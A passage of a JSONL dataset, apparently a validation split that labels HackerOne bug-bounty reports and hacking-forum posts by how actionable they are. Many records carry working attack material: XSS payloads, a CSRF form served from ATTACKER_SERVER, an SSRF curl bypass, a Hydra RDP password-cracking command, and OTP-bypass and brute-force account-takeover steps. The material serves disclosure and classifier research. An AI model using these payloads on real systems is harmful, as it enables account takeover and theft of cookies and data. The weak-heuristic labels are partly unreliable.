one'+'rror=alert(1)>'\n    def strftime(self, x=None):\n        return self.img\n```\n--------------\nAnd next time debugger is launched, expression ```get_datetime().strftime(\"%Y-%m-%d %H:%M:%S\")#__QUANTOPIAN__``` outputs ```<img src=x onerror=alert(1)>```, executing javascript.\n\nI'd like to additionally say that there are two vectors of the attack.\n* attack on the collaborator. This is as sneaky, as #615672, because it requires no interaction with the victim. We can either wait for him to be away from keyboard and re-validate our algorithm code with malicious class. Or we can start the backtest even without the code visible, and just intercept outgoing POST request, and since it sends the whole code, we can add our malicious class there. It will not appear visible at any point, but xss will fire.\n* attack on anyone who will clone malicious algorithm and run it in his own ide with debugger. First we can obfuscate the code (especially if algo is large, this becomes easier), and share it.\n\n## Steps To Reproduce:\n\n(Add details for how we can reproduce the issue)\n\n  1. add xss class to algo code\n  2. set breakpoint in code so debugger will open, start \n  3. execute it on collaborator, or obfuscate class and share it.\n\n## Supporting Material/References:\n{F569615}\n\n## Test account information\ntvburis+hackerone@gmail.com\nirisrumtub+hackerone@mail.ru\n\n## Impact\n\nExecute our own javascript with all the consequences, steal algorithms (because xss happens on quantopian.com).", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fdc75057394d0188efb8", "text": "[Improper Authentication - Generic] Account takeover via Google OneTap\n\n## Summary:\n\nIt's possible to take over any priceline.com user's account knowing their email. The only requirement is that the victim's email domain is not registered with Google's Gsuite. The root cause of this issue is that the backend does not verify whether the email provided is a confirmed one.\n\n## Steps To Reproduce:\n\n1. Create Account A (in my case `badca7@wearehackerone.com`) with priceline.com, without any SSO, via the \"Create an account\" link (aka \"register with email\").\n2. Once the account has been created, add a dummy phone number to the profile. It will serve as a canary to demonstrate we accessed the same data in the next steps.\n3. In another browser/session (eg, incognito/private mode) sign up for a trial GSuite account at https://gsuite.google.com/signup/basic/welcome  . This will be Account B.\n4. Use any email to register as you won't need to confirm that email. \n5. When the wizard comes to the \"Does your business have a domain?\" confirm and enter `wearehackerone.com` (or any other domain that hosts the victim's email box) as in F552718. You may not use the same domain name at this stage, as I claimed it for the purposes of this PoC however you can do so when my GSuite trial expires. From this comes the requirement that the victim's email domain name must not be registered with Google prior to this attack. \n6. Once you saved the domain record with Google, stop there as there's no need to verify the domain.\n7. At this stage the OneTap/GoogleYOLO popup will be showing on priceline.com when visited in the same browser session. It took me some time to get it to show however signing in and out of Google Account several times with the newly created GSuite credentials and then refreshing the priceline.com page helped. On another occasion a Gmail account, which I signed in in the same browser window helped too. You may need to play around with these until you see the newly created account to show in the list. F552723 \n8. Once you have that, just sign in (`badca7@wearehackerone.com` in my case). You can confirm you accessed Account A by seeing the phone number you added in step (2). In the other browser window/session with Account A you can see that now there are two accounts showing in the top right corner and the profile data is blank.\n9. Account takeover complete. F552724\n\n# Notes\n\n- IP used for this PoC: 139.59.90.143\n\n## Impact\n\nAttackers can take over any priceline.com account given they were able to register a specific domain with GSuite.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e9741f89bbf50427108a", "text": "[Information Disclosure] Visibility Robots.txt file\n\nIssue detail:-\nThe web server contains a robots.txt file.  \nIssue background:-\nThe file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site that robots are allowed, or not allowed, to crawl and index.\nThe presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.\nIssue remediation:-\nThe robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honor the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorized access.\n\nURL -  https://krisp.ai/robots.txt\n\nUser-agent: *\nDisallow: /wp-admin/\nAllow: /wp-admin/admin-ajax.php\n\nSitemap: https://krisp.ai/sitemap.xml\n\nHere, /wp-admin/admin-ajax.php  is Allow which gives some private information.\n\nURL -  https://krisp.ai/robots.txt/wp-admin/ \n                view-source:https://krisp.ai/robots.txt/wp-admin/     \nThese URL is also Accessible which provide some private information.\n\nSitemap:  https://krisp.ai/sitemap.xml\n\n## Impact\n\nIf u have robots.txt file so attacker can see all Your secret pages!", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "39bd270d241f65d4b152", "text": "[Missing Critical Step in Authentication] JWT audience claim is not verified\n\nAll versions of Argo CD starting with v1.8.2 are vulnerable to an improper authorization bug causing the API to accept certain invalid tokens.\n\nOIDC providers include an aud (audience) claim in signed tokens. The value of that claim specifies the intended audience(s) of the token (i.e. the service or services which are meant to accept the token). Argo CD does validate that the token was signed by Argo CD's configured OIDC provider. But Argo CD does not validate the audience claim, so it will accept tokens that are not intended for Argo CD.\n\n## Impact\n\nIf Argo CD's configured OIDC provider also serves other audiences (for example, a file storage service), then Argo CD will accept a token intended for one of those other audiences. Argo CD will grant the user privileges based on the token's groups claim, even though those groups were not intended to be used by Argo CD.\n\nThis bug also increases the blast radius of a stolen token. If an attacker steals a valid token for a different audience, they can use it to access Argo CD.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "13db2e595fc7c7cd5916", "text": "Hi All, Can someone give me a nudge or DM me for Secret Message? I know the tool to use and think I know the c****** that has been used but can’t bruteforce the passkey. Am I looking at this the wrong way… Any help appreciated! S", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b94f4731bc4f75108eff", "text": "Thanks to everyone posting on this… I’m really enjoying this module including the “Take Control of EIP” lesson… but was stuck too until seeing everyone’s posts. The “Take Control of EIP” quiz “Examine the registers and submit the address of EBP as the answer” is asking the student to submit something other than the correct answer. It does not want the address of anything, but instead, as others have made clear, something else related to EBP.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-10-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5dfed4c319c627108a7f", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS at ████████\n\nThe domain █████████ have dochelper where the user id is submitted.\nWe can submit the crafted XSS payload to pop the alert message by accesing the cookie.\n\nPOC URL: \n```\nhttps://████/dochelper?userId=</b><script>alert(document.cookie)</script><b><!-- \n```\n\n█████\n\n## References\nCVE-2016-5682\nhttps://portswigger.net/web-security/cross-site-scripting\nhttps://www.bugbountyhunter.com/vulnerability/?type=xss\n\n## Impact\n\n*   As an attacker, I can Steal the cookie of the User, by sending a crafted mail to them.\n*   Victim's Account can be compramised\n*    Impersonate or masquerade as the victim user.\n*    Carry out any action that the user is able to perform.\n*    Read any data that the user is able to access.\n*    Capture the user's login credentials.\n*    Perform virtual defacement of the web site.\n*    Inject trojan functionality into the web site.\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2016-5682\n\n## Steps to Reproduce\n1. Visit https://████████/dochelper?userId=\n2. Put a crafetd XSS payload to the userId parameter. (</b><script>alert(document.cookie)</script><b><!--)\n3. Open the link in the browser\n\n## Suggested Mitigation/Remediation Actions\n1. Filter input on arrival\n2. Encode data on output.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2016-5682"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0ed4e460fa8ed44da0cb", "text": "[Improper Authentication - Generic] Otp  bypass in verifying nin\n\n## Summary:\n\nwhile conducting my research in your website I found that while verifying NIN number it send the otp to the enterd mobile number that can be bypassed.\n\n## Steps To Reproduce:\n\n1) Go to https://nin.mtnonline.com/nin/\n2) click submit nin.Now it will redirect to another page https://nin.mtnonline.com/nin/\n3) It asks for mobile number and National Identity Number [NIN].\n4) Enter the mobile and NIN number and click Next.It will send the otp to the mobile number.\n5) Enter any 6 digit code and click verify and capture the request in bupsuite and click action and select \"Do intercept and response to the request\"\n6) Now change the response status to success.\n------>Now successfully verified mobile number.\n\n## Impact\n\nThe attacker can able to verify NIN with any number.\n\n\nNote: I had attached the poc video below please take a look.\n\n\nRegards,\n@aaruthra.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "684daa602e3ea831e4e6", "text": "[Cross-site Scripting (XSS) - Generic] Email templates XSS by filterXSS bypass\n\n## Summary:\n`js-xss` is used to prevent XSS on email templates previews but the custom `onIgnoreTag` function can be used to bypass this filter. This leads to a Self-XSS scenario that can be used to achieve Account Takeover in 1-click.\n\n```js\nonIgnoreTag: function (e, t) {\n   return \"!--[if\" === e || \"![endif]--\" === e || \"<!-->\" === t ? t : void 0; \n},\n```\n\n## XSS\n\nThe way how `js-xss` parse tags starting with `<![` differ from how browser parse it, so it's possible to abuse this in this way:\n```html\n<![endif]-- onerror=\"<![endif]-->\" onload=\"<img src=1 onerror='alert(1)' />\">\n```\nSending this as the HTML email template will trigger an XSS when the email is previewed. Since email templates are private and only the owner of the template can preview it, this can be considered a Self-XSS. But there is a way to do another user preview it, leading to an account takeover in 1-click.\nWe can use HMAC authentication feature to force another user login in our account and preview the malicious email:\n```\nhttps://www.judge.me/shop/emails/2243518/edit?no_iframe=1&shop_domain=wordpress.caueo.me&platform=woocommerce&hmac=████\n```\nThis URL authenticates as admin on `wordpress.caueo.me` domain, where the malicious email will be. The HMAC hash is created on this way (taken from wordpress plugin):\n```php\n$hmac       = hash_hmac( 'sha256', \"no_iframe=1&platform=woocommerce&shop_domain={$domain}\", $token, false );\n```\n\nHaving this XSS with the victim logged in my account is possible to leak HTML content of a page that was loaded with victim's account cookie:\n\n1. Load an iframe with the victim's page (HTML content to leak) - Authenticated as victim\n2. Load another iframe with the XSS (Use HMAC authentication) - Authenticated as me\n3. We can use the XSS to read `parent.frames[0]` HTML content since it is same-origin\n\n## CSP bypass\nAt a first sight we can't load an iframe to victim's page, since it has a CSP that whitelists iframe origins:\n```\nframe-ancestors https://wordpress.caueo.me http://wordpress.caueo.me wordpress.caueo.me https://woocommerce-adapter.judge.me/ *.judge.me\n```\nTo bypass it we can use the XSS to load the iframes, but we need to do it on another subdomain, because to trigger this XSS is needed to login in my account and then it would not be possible to load the victim's page authenticated as victim's account later. So we trigger the XSS on `www.judge.me` subdomain.\n\n## Limitation to 0-click account takeover\nAt this point it is already **possible to read HTML content of almost any page authenticated as victim**. To achieve account takeover we only need to get the private API token from victim because it is used as the key of HMAC authentication.\nThe problem is that the endpoint that retrieves the API private token checks if the `Referer` header starts with `https://judge.me/settings`, so is not possible to load this endpoint in an iframe.\n\n## Clickjacking\nWe can load an iframe to `https://judge.me/settings` where has a button that retrieves the API token from the endpoint successfully. So it is possible to perform a clickjacking to that button, and if the victim clicks on it, we can get the API private token. \n\n## PoC\nI made a PoC on how is possible to perform this account takeover with user interaction and leak some stuffs without user interaction.\n[PoC](https://www.judge.me/shop/emails/2243518/edit?no_iframe=1&shop_domain=wordpress.caueo.me&platform=woocommerce&hmac=█████████)\n\nIn this PoC I leaked FreshChat token without clickjacking, so we can impersonate another user in support chat without needing a user click.\n\n## Impact\n\nShop account takeover (user interaction)\nImpersonation on support chat\nPrivate content leak", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "468b52d9f54c32a312d6", "text": "[Cross-site Scripting (XSS) - Generic] Open Akamai ARL XSS at ████████\n\n## Summary\nThere is Open Akamai ARL XSS at ████████\n\n## Proof-of-Concept\nhttp://████/7/0/33/1d/www.citysearch.com/search?what=Binit&where=Binit%22%3E%3Cimg%20src%3Dbinit%20onerror%3Dalert%28document.domain%29%3E\n\n## References:\n- https://github.com/war-and-code/akamai-arl-hack\n- https://twitter.com/SpiderSec/status/1421176297548435459\n- https://warandcode.com/post/akamai-arl-hack/\n- https://github.com/cybercdh/goarl\n- https://community.akamai.com/customers/s/article/WebPerformanceV1V2ARLChangeStartingFebruary282021?language=en_US\n\n## Impact\n\nAttackers can execute malicious JavaScript code in the target webpage.\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nhttp://████/7/0/33/1d/www.citysearch.com/search?what=Binit&where=Binit%22%3E%3Cimg%20src%3Dbinit%20onerror%3Dalert%28document.domain%29%3E\n\n## Suggested Mitigation/Remediation Actions\nVisit\n- https://community.akamai.com/customers/s/article/WebPerformanceV1V2ARLChangeStartingFebruary282021?language=en_US", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "08fb5b8311444e3e0b0d", "text": "[Improper Access Control - Generic] Staff can create workflows in Shopify Admin without apps permission\n\n## Summary:\n[add summary of the vulnerability]\n\nAccording to publicly available docs, Flow can be accessed in two ways.\n1. through the Shopify organization admin (Shopify plus)\n2. by installing the Shopify Flow app.\nI stumbled on /admin/internal/web/graphql/flow endpoint which is accessible to a staff member with only `marketing` permission. The said endpoint makes it possible to create workflows and perform other flow related actions without using any of the two methods stated above. To substantiate my claim, I created a workflow that 'adds a tag whenever a customer registers an account' (created an account tag) see the image below for details.\n{F1667015} \n\nIt's worth mentioning that the workflows created this way don't show up in the app or any where else, information about them can only be gotten by hitting the same endpoint. There are couple of other mutations that are accessible but I used only `templateInstall` and `workflowActivate` for demonstration. What follows below are example GraphQL queries and steps to reproduce.\nFirst, we need to install a template to activate. \nSee the image below for details\n{F1667014}\n\n```\n{\"operationName\":\"templateInstall\",\"variables\":{\"templateId\":\"977bf9aa-ae6a-4a7c-b3f2-051c9e856c6f\",\"shopIds\":[]},\"query\":\"mutation templateInstall($templateId: ID!, $shopIds: [ID!]!) {\\n  templateInstall(templateId: $templateId, shopIds: $shopIds) {\\n    installed {\\n      shopId\\n      workflowId\\n      workflowVersion\\n      __typename\\n    }\\n    errors {\\n      shopId\\n      message\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"}\n\n```\nAfter installing a template of our choice, we then activate the workflow. \nSee the image below for details.\n{F1667018}\n\n```\n{\"operationName\":\"activateWorkflowMutation\",\"variables\":{\"workflowId\":\"240ed0ee-d099-4066-8eac-7ce777ef4fe4\",\"version\":\"acc5731a-7802-4622-857b-0191f8c0ee9d\",\"contextType\":\"shop\",\"contextId\":\"10979704928\"},\"query\":\"mutation activateWorkflowMutation($workflowId: ID!, $version: String, $contextType: String!, $contextId: ID!) {\\n  workflowActivate(\\n    workflowId: $workflowId\\n    version: $version\\n    contextType: $contextType\\n    contextId: $contextId\\n  ) {\\n    workflow {\\n      ...workflow\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\\nfragment workflow on Workflow {\\n  id\\n  name\\n  steps {\\n    ...step\\n    __typename\\n  }\\n  links {\\n    ...link\\n    __typename\\n  }\\n  activations {\\n    ...activation\\n    __typename\\n  }\\n  lastUpdated\\n  activationState\\n  versionState\\n  version\\n  parentVersion\\n  shopifyDomain\\n  shopifyName\\n  owner {\\n    contextId\\n    contextType\\n    __typename\\n  }\\n  ...validationErrors\\n  tags\\n  __typename\\n}\\n\\nfragment step on Step {\\n  id\\n  task {\\n    ...task\\n    __typename\\n  }\\n  position {\\n    x\\n    y\\n    __typename\\n  }\\n  inputPort {\\n    name\\n    identifier\\n    __typename\\n  }\\n  outputPorts {\\n    name\\n    identifier\\n    __typename\\n  }\\n  ...stepConfig\\n  note\\n  description\\n  __typename\\n}\\n\\nfragment task on Task {\\n  id\\n  label\\n  description\\n  dynamicDescriptionTemplate\\n  taskType\\n  path\\n  inputPort {\\n    id\\n    name\\n    __typename\\n  }\\n  outputPorts {\\n    id\\n    name\\n    __typename\\n  }\\n  iconUrl\\n  documentationUrl\\n  __typename\\n}\\n\\nfragment stepConfig on Step {\\n  id\\n  taskType\\n  task {\\n    id\\n    label\\n    description\\n    __typename\\n  }\\n  configFields {\\n    __typename\\n    ... on ArrayConfigField {\\n      valuePlaceholder\\n      stepConfigFieldIdentifier\\n      supportsLiquid\\n      description\\n      label\\n      value\\n      validations {\\n        id\\n        options\\n        errorMessage\\n        __typename\\n      }\\n      __typename\\n    }\\n    ... on CollectionsConfigField {\\n      valuePlaceholder\\n      stepConfigFieldIdentifier\\n      description\\n      label\\n      value\\n      errors {\\n        title\\n        message\\n        __typename\\n      }\\n      __typename\\n    }\\n    ... on BooleanConfigField {\\n      valuePlaceholder\\n  ", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "498652b4ce3977126050", "text": "Dictionary Password Cracking (A THC Hydra starter guide)\n\nHello! In this tutorial, we will explore how to run a dictionary attack of THC Hydra. Let’s get started. If you are running Kali Linux you will already have a version of Hydra installed. If not you can install it on Linux platforms using the command sudo apt-get install hydra or just download it from the Github Repository https://github.com/vanhauser-thc/thc-hydra . Once you have finished the installation you have a new application called THC-Hydra. It should look like this: image 523×616 46.3 KB THC Hydra has the option of running a dictionary attack or a brute force attack, however, in this tutorial, we will focus on the Dictionary Attack option. In the THC Hydra folder, you can import wordlists for dictionary attacks. I am getting mine from skullsecurity.org . In this, I am using the Rockyou.txt wordlist. To start the cracking, you would input command like this. hydra -t 4 -V -f -l administrator -P rockyou.txt rdp://Add IP ADRESS HERE . If you did everything correctly it should look like this: image 945×597 155 KB Congratulations! You were able to run a dictionary attack using THC Hydra. I hope this helps you. C_J", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-08-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1936b6d4de5f2a895566", "text": "[Cleartext Storage of Sensitive Information] Exception logging in Sharepoint app reveals clear-text connection details\n\n## Summary:\nOn Exceptions thrown in the context of the SharePoint app, connection credentials may be written to the Nextcloud log in clear text.\n\n## Steps To Reproduce:\n\nAttempt to configure a sharepoint mount in an erroneous way.\n\n## Supporting Material/References:\n\n  * was files publically: https://github.com/nextcloud/sharepoint/issues/141\n\n## Impact\n\nWhen an attacker gets hold of the nextcloud log, they may gain knowledge of credentials to connect to a SharePoint service.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f90bea2446146ea820a4", "text": "Awesome challenge so far, I have to agree with others that the biggest hustle was finding where to inject command. There is no need to base64 encode anything if you don’t want. Feel free to PM me if you are stuck.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5cffe2f6875c168b4705", "text": "[Cross-site Scripting (XSS) - Stored] stored cross site scripting in https://███████\n\nIt was observed that the application is vulnerable to cross-site scripting (XSS). XSS is a type of attack that involves running a malicious scripts on a victim’s browser.\npoc attached\nanother parameter at #1636345\nq_13787\npayload: %22%27%3e%3csvg%2fonload%3dconfirm(666)%3e\n\n## Impact\n\nCookie Stealing - A malicious user can steal cookies and use them to gain access to the application.\nArbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.\nMalware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the\nsite, the user may be more likely to trust the request and actually install the malware.\nDefacement - attacker can deface the website usig javascript code.\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nvideo attached\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6402f8a2499643563882", "text": "[Improper Restriction of Authentication Attempts] weak protection against brute-forcing on login api leads to account takeover\n\n## Summary:\nWeak protection against brute-forcing on login API: https://api.outpost.co/api/v1/login leads to account takeover on https://www.teamoutpost.com/\n## Steps To Reproduce:\n* Sign in on https://www.teamoutpost.com/\n███\n* redirect to https://app.outpost.co/sign-in to login\n█████████\n* test any login credentials and review the request to https://api.outpost.co/api/v1/login\n███████\n* Notice the difference between the wrong user \"Username does not exist\" and wrong password \" Password does not match username\" \n████\n* first we need to brute-force on username to get some valid usernames \n█████████\n* We can grep on \"Username does not exist\" \n██████\n* Here is valid usernames without  \"Username does not exist\"\n██████████\n* Notice the API doesn't block me for many requests even I reached more than 33K request and continue \n████\n* after we exported a list of valid usernames we can brute-force for password fore every username on the list\n██████████\n* I imported valid usernames as 1st payload \n██████\n* for 2nd payload I can use a passwords list but I tried the simplest password that user can register with \" 9 characters long \"\n███████\n* we got some credentials even with ADMIN role\n██████████\n\n## Impact\n\naccount takeover", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d5e8fcc4ee211d9b7d70", "text": "[Cross-Site Request Forgery (CSRF)] Widespread CSRF on authenticated POST endpoints\n\n## Summary:\n\nCross-Site Request Forgery (CSRF) is possible on most, if not all, authenticated POST endpoints.\n\nWhile CORS is configured such that the Access-Control-Allow-Origin header is set to `Access-Control-Allow-Origin: hackers.upchieve.org`, CORS does **not** prevent CSRF - it only prevents the attacker from reading the response. This does not stop the attacker from performing any arbitrary actions on behalf of the user.\n\nThis is possible through a simple HTML form with hidden inputs, submitted with JavaScript. While POST requests are made using JSON data by default, `application/x-www-form-urlencoded` is accepted as well. Because the user's session cookie does not have the SameSite attribute set, it is sent along with the request.\n\nThe following endpoints were found to be vulnerable:\n- `POST /api/calendar/save` (set availability for text messages)\n- `POST /api/training/score` (submit quizzes and subject certifications)\n- `POST /auth/reset/send` (send password reset email)\n- `POST /api/user/volunteer-approval/background-information` (submit background information)\n- `POST /api/user/volunteer-approval/reference` (request a reference)\n\nThe attacker can perform any of the above actions on behalf of the user, as long as the user has a valid session cookie. There are probably more endpoints to be discovered, but I do not have access to them yet due to the approval / onboarding process.\n\nPUT requests, particularly `PUT /api/user` (to update a user's phone number and account status), are not possible through this method. However, older browsers might not comply to CORS pre-flight requests and still allow a PUT request initiated by JavaScript on the attacker's site to go through.\n\n## Steps To Reproduce:\n\n1. As a victim, log in to https://hackers.upchieve.org/\n2. Create a page like the one below.\n\nThis is an example for performing a CSRF on the `/api/calendar/save` endpoint (the full HTML file is attached). In this example, we set all the possible time slots to \"true\".\n\n```html\n<html>\n  <body>\n    <form action=\"https://hackers.upchieve.org/api/calendar/save\" method=\"POST\">\n        <input type=\"hidden\" name=\"availability[Sunday][12a]\" value=\"true\" />\n        <input type=\"hidden\" name=\"availability[Sunday][1a]\" value=\"true\" />\n\t\t\n\t\t...\n\t\t\n        <input type=\"hidden\" name=\"availability[Saturday][11p]\" value=\"true\" />\n        <input type=\"hidden\" name=\"tz\" value=\"Asia/Singapore\" />\n    </form>\n    <script>\n      \tdocument.forms[0].submit();\n    </script>\n  </body>\n</html>\n```\n\n3. Serve the page on the attacker server.\n4. As the victim, visit http://ATTACKER_SERVER/calendar_csrf.html\n\nOnce the HTML page loads on the browser, the POST request is submitted and we would see the following response:\n\n```json\n{\"msg\":\"Schedule saved\"}\n```\n\n5. Verify that the victim's calendar has been modified.\n\nI have also prepared other CSRF payloads for the other endpoints.\n\n- `calendar_csrf.html` performs the above-described attack.\n- `reference_csrf.html` sends out reference requests on behalf of the victim.\n- `quiz_csrf.html` submits quizzes for grading on behalf of the victim.\n- `reset_csrf` sends out password resets on behalf of the victim.\n\n## Supporting Material/References:\n\nI have attached the CSRF payloads, a screenshot of the changed calendar, and a screenshot of the output from the quiz CSRF.\n\n## Recommendations for Fixing/Mitigation\n\n- Use CSRF tokens\n- Use the SameSite attribute for cookies\n\n## Impact\n\nWhen an authenticated user visits any attacker-controlled site, the attacker is able to perform arbitrary authenticated actions on behalf of the user. While the attacker cannot obtain the request output from the CSRF, he is still able to perform sensitive actions blindly.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "169094cd0ee1e802d655", "text": "[Server-Side Request Forgery (SSRF)] CVE-2022-27780: percent-encoded path separator in URL host\n\n## Summary:\nURL decoding the entire proxy string could lead to SSRF filter bypasses. For example,\n\nWhen the following curl specifies the proxy string `http://example.com%2F127.0.0.1`\n\n- If curl URL parser or another RFC3986 compliant parser parses the initial string http://127.0.0.1%2F.example.com, it will derive 127.0.0.1%2Fexample.com or 127.0.0.1/example.com as the host, if for instance, an SSRF check is used to determine if a host ends with .example.com (.example.com being a allow-listed domain), the check will succeed.\n- curl will then URL decode the entire proxy string to http://127.0.0.1/example.com and send it to the server\n````\nGET http://127.0.0.1/example.com HTTP/1.1\nHost: 127.0.0.1/example.com\nUser-Agent: curl/7.83.0\nAccept: */*\nProxy-Connection: Keep-Alive\n````\n- This proxy string is valid, and proxy servers, even RFC3986-compliant ones will send the request to the host 127.0.0.1\n\n## Steps To Reproduce:\nI switched things up and used 127.0.0.1 as the allow-listed server and example.com as the target server to make it easier (no need to setup a HTTP server) to reproduce.\n\n1. I used https://github.com/abhinavsingh/proxy.py as my proxy server. \n2. Perform the following:\n````\ncurl -x http://127.0.0.1:8899 http://example.com%2F127.0.0.1\n````\n3. You will receive a malformed response \n````\n<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\n         \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">\n        <head>\n                <title>400 - Bad Request</title>\n        </head>\n        <body>\n                <h1>400 - Bad Request</h1>\n        </body>\n</html>\n````\nHowever, this response is actually being returned by example.com, the reason is that proxy.py will forward the Host header, currently 127.0.0.1/example.com curl sends it, making it a Blind SSRF\n\n4. If \n- an attacker can control the host header either via curl itself \n- the proxy does not forward the host header curl sends, \n- or if servers which ignore the Host header entirely such as Express is used,\nit is possible to read the full response\n````\ncurl -x http://127.0.0.1:8899 -H \"Host: example.com\" http://example.com%2F127.0.0.1/%2e%2e/\n````\n## Recommended Fix:\nThe recommended fix for this is to not URL decode the host component of the proxy string when passing to proxy server.\n\n## Impact\n\nSSRF filter bypass at if the curl URL parser or a RFC 3986 parser is used, it could lead to blind / full SSRF depending on the proxy used.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-27780"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d0b655a2fc58573ff626", "text": "[Cross-site Scripting (XSS) - Reflected] reflected XSS in [www.equifax.com]\n\nhi , I hope you are well, i found reflected XSS in this endpoint:\n```https://www.equifax.com/personal/help/search?search=broook```\n\n\n\n###Steps:\n1.  open ```https://www.equifax.com/personal/help/search?search=broook```\n2. view the source code of the page and search for word  ```broook```  you will find that it reflected in the source code:\n{F2094830}\n\n\n\n3. ```broook``` word reflected in javascript code:\n```\n<script type=\"text/javascript\">\n           window.onload = function(e){\n            \tAnalytics.trackEvent('emptySearch',{internalSearchTerm: \"broook\" , numOfSearchResultsReturned: 0});\n            \t}\n           </script>\n```\n\n\n-\n\n-\n\n\n\n4. By using this payload ```%22%20%2C%20internalSearchTerm%3A%20%5B7%5D.map%28alert%29%20%2C%20numOfSearchResultsReturned%3A%20%22b```  , I  modified the parameters of the ```Analytics.trackEvent``` function to be like this:\n```\n<script type=\"text/javascript\">\n\t      window.onload = function(e){\n\t          Analytics.trackEvent('SEARCHRETURNED',{internalSearchTerm: \"\" , internalSearchTerm: [7].map(alert) , numOfSearchResultsReturned: \"b\" , numOfSearchResultsReturned: 167});            \t\n\t               \t}\n\t     </script>\n\n```\n{F2094863}\n\n-\n-\n\n5. the following is the link with my XSS payload :   https://www.equifax.com/personal/help/search?search=%22%20%2C%20internalSearchTerm%3A%20%5B7%5D.map%28alert%29%20%2C%20numOfSearchResultsReturned%3A%20%22b\n\n\n{F2094867}\n\n## Impact\n\nan attacker can exeute JS codes on the victims and this could be steal user's cookies", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
